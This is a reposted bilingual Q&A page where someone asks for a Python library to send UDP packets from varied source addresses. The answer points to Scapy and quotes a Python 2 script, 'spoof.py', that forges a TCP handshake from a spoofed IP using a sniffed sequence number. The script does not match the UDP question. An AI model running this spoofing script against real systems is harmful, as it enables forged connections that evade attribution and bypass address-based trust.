有没有一个Python库可以模拟来自不同地址的网络流量 [英] Is there a Python library than can simulate network traffic from different addresses

查看:106
本文介绍了有没有一个Python库可以模拟来自不同地址的网络流量的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

是否有一个python库,可以让我从不同的源地址和端口将UDP数据包发送到计算机(可以发送到localhost)?我记得有一个存在,但现在找不到了.

Is there a python library out there than can allow me to send UDP packets to a machine (sending to localhost is ok) from different source addresses and ports? I remember that one existed, but can't find it anymore.

推荐答案

您可以使用 Scapy 库.

这是来自的示例数据包向导:使用Python统治网络:

#!/usr/bin/env python
import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 4:
    print "Usage: ./spoof.py <target> <spoofed_ip> <port>"
    sys.exit(1)

target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print "Okay, SYN sent. Enter the sniffed sequence number now: "

seq=sys.stdin.readline()
print "Okay, using sequence number " + seq

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
                                     ack=seq+1,seq=1)
send(p2)

print "Okay, final ACK sent. Check netstat on your target :-)"

这篇关于有没有一个Python库可以模拟来自不同地址的网络流量的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆